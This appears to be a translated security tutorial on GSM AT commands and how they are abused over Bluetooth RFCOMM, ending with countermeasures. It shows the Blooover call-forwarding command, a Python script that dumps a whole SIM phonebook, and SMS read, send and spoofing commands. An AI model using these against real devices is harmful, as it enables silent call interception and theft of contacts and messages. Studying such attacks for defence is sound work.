AT Commands

Introduction to AT Commands

The AT commands (abbreviation of ATtention) constitute a standard communication language between a human operator (or software) and a modem or telecommunications device. They were originally developed in 1977 by Dennis Hayes as an interface for configuring telephone modems: dialing numbers, hanging up calls, adjusting connection parameters, etc.

Over time, companies such as Microcom and US Robotics expanded the instruction set until it became a de facto standard. When GSM mobile telephony needed a control protocol for its terminals, it adopted AT commands as a basis. Thus, every GSM phone exposes a set of AT commands that allow you to make calls, manage your contacts, send SMS, check the battery status and much more.

The interesting thing from a cybersecurity point of view is that these commands work independently of the physical channel: serial cable, infrared, USB or Bluetooth. This means that an attacker with access to the serial profile of a Bluetooth device (RFCOMM) can execute AT commands remotely, which opens the door to attacks such as phonebook theft, call forwarding or sending SMS without the user's knowledge.

Syntax and notation

Every AT command follows a simple structure:

# Petición (del operador al dispositivo)
AT+COMANDO=parámetros<CR>

# Respuesta correcta
<CR><LF>+COMANDO: resultado<CR><LF>OK<CR><LF>

# Respuesta de error
<CR><LF>ERROR<CR><LF>

Where <CR> is Carriage Return (carriage return) and <LF> is Line Feed (line break). The prefix AT tells the device that what follows is a command. Some commands support variants:

• AT+CMD? — query the current value
• AT+CMD=? — check supported values
• AT+CMD=valor — sets a value

Call commands

The fundamental command to make calls is ATD (Command Dial):

# Llamada de datos
ATD+34612345678

# Llamada de voz (nótese el punto y coma final)
ATD+34612345678;

# Llamar a un contacto almacenado en la agenda
ATD>"NombreContacto";

The semicolon (;) at the end is required for voice calls. Without it, the device will attempt a data call.

Operator commands and call forwarding

One of the most relevant commands in security is AT+CCFC (Call Forwarding Control), which allows incoming calls to be redirected to another number:

AT+CCFC=<razón>,<modo>,<número>,<tipo>,<clase>

# Parámetro <razón>:
#   0 = incondicional
#   1 = si ocupado
#   2 = si no responde
#   3 = si inalcanzable

# Parámetro <modo>:
#   0 = deshabilitado
#   1 = habilitado
#   3 = registrar desvío
#   4 = borrar desvío

# Parámetro <tipo>:
#   145 = formato internacional (+)
#   129 = formato nacional

# Parámetro <clase>:
#   1 = voz, 2 = datos, 4 = fax, 7 = todas

For example, the famous attack Blooover (one of the first Bluetooth attack tools) used the following command to register an unconditional forwarding of all calls:

AT+CCFC=0,3,"+4913377001",145,7

This recorded an unconditional deviation (0), in record mode (3), towards the number +4913377001, in international format (145), for any type of call (7). The victim did not receive any notification.

Terminal control commands

These commands allow you to obtain detailed information about the device:

# Estado de actividad del teléfono
AT+CPAS
# Respuesta: +CPAS: 0
#   0 = listo (inactivo)
#   3 = sonando (llamada entrante)
#   4 = llamada en curso

# Estado de la batería
AT+CBC
# Respuesta: +CBC: 0,56   (batería al 56%)

# Identificación del fabricante
AT+CGMI
# Respuesta: Nokia Mobile Phones

# Modelo del dispositivo
AT+CGMM
# Respuesta: Nokia 8310

# Número de serie (IMEI)
AT+CGSN
# Respuesta: 350123456789012

# Calidad de señal
AT+CSQ
# Respuesta: +CSQ: 13,99
#   rssi 0 = -113 dBm, 31 = -51 dBm, 99 = desconocido

From a pentester's perspective, AT+CGMI, AT+CGMM and AT+CGSN They are especially useful for the recognition phase, since they allow you to identify the brand, model and IMEI of the target device.

Contact agenda management

The calendar commands (Phonebook) allow you to read, write and search for entries in the different memories of the device.

Select calendar memory

# Consultar memoria activa
AT+CPBS?
# Respuesta: +CPBS: "SM"

# Seleccionar memoria
AT+CPBS="SM"    # Agenda SIM
AT+CPBS="TA"    # Agenda del terminal
AT+CPBS="DC"    # Llamadas realizadas
AT+CPBS="RC"    # Llamadas recibidas
AT+CPBS="MC"    # Llamadas perdidas
AT+CPBS="LD"    # Últimos números marcados
AT+CPBS="EN"    # Números de emergencia
AT+CPBS="FD"    # Marcación fija
AT+CPBS="ON"    # Número propio

Read calendar entries

# Consultar capacidad de la agenda
AT+CPBR=?
# Respuesta: +CPBR: (1-150),48,14
#   150 entradas, números de hasta 48 dígitos, nombres de hasta 14 caracteres

# Leer entrada por índice
AT+CPBR=8
# Respuesta: +CPBR: 8,"+34646123456",145,"Gospel"

# Leer rango de entradas
AT+CPBR=1,10

Search and write contacts

# Buscar contacto por nombre (case-sensitive)
AT+CPBF="Gospel"
# Respuesta: +CPBF: 19,"+34646987654",129,"Gospel"

# Escribir nueva entrada (índice automático)
AT+CPBW=,"+34696224466",129,"NuevoContacto"

# Escribir en índice específico
AT+CPBW=5,"+34696224466",129,"NuevoContacto"

# Borrar entrada (solo índice, sin más parámetros)
AT+CPBW=5

Command combination

It is possible to chain commands on a single line for more complex operations:

# Seleccionar lista de llamadas realizadas y leer la última
AT+CPBS="DC";+CPBR=1
# Respuesta: +CPBR: 1,"+34646123456",145,"Gospel"

# Seleccionar llamadas perdidas y leer la última
AT+CPBS="MC";+CPBR=1
# Respuesta: +CPBR: 1,"+34646987654",129,"Desconocido"

Complete agenda dump (pseudocode)

An attacker with RFCOMM access could automate the entire calendar dump with a simple script:

import serial

# Conexión al dispositivo vía puerto serie (o RFCOMM)
ser = serial.Serial('/dev/rfcomm0', 9600, timeout=2)

# Seleccionar agenda SIM
ser.write(b'AT+CPBS="SM"\r')

# Consultar tamaño
ser.write(b'AT+CPBR=?\r')
# Parsear respuesta para obtener el rango (1-150)

# Volcar todas las entradas
for i in range(1, 151):
    ser.write(f'AT+CPBR={i}\r'.encode())
    respuesta = ser.readline()
    if b'+CPBR' in respuesta:
        print(respuesta.decode())

ser.close()

SMS commands

AT commands also allow you to manage SMS messages. The most important ones are:

# Configurar modo texto (más legible que modo PDU)
AT+CMGF=1

# Listar mensajes almacenados
AT+CMGL="ALL"       # Todos
AT+CMGL="REC UNREAD" # Solo no leídos

# Leer un mensaje por índice
AT+CMGR=1

# Enviar un SMS
AT+CMGS="+34612345678"
> Texto del mensaje aquí<Ctrl+Z>

# Borrar un mensaje
AT+CMGD=1

In PDU mode (AT+CMGF=0), messages are encoded in hexadecimal format, allowing manipulation of fields such as the source number (sender spoofing) on certain vulnerable devices.

Security implications

AT commands are a real attack surface when combined with wireless communication channels. The main risks include:

• Agenda and SMS theft: through AT+CPBR and AT+CMGL, an attacker can extract all contacts and messages from the device
• Silent call forwarding: with AT+CCFC Calls can be redirected without the victim noticing
• Sending SMS: wearing AT+CMGS messages can be sent from the victim's device
• Denial of service: commands like AT+CFUN=0 can turn off the radio module of the device
• Fingerprinting: AT+CGMI, AT+CGMM and AT+CGSN reveal manufacturer, model and IMEI

Historical attacks such as BlueBug, Blooover and BlueSnarf They precisely exploited unauthorized access to the AT channel via Bluetooth to execute these actions remotely.

Countermeasures

To protect against abuse of AT commands via Bluetooth:

• Turn off Bluetooth when not in use
• Set the device as not discoverable
• Do not accept pairing requests from unknown devices
• Keep device firmware up to date
• On modern Android/iOS devices, access to AT commands via Bluetooth is much more restricted, but IoT devices and GSM modems are still exposed

:wq!